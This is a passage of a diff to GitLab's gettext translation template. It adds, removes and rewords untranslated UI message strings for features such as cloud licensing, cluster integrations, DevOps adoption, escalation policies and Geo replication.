msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
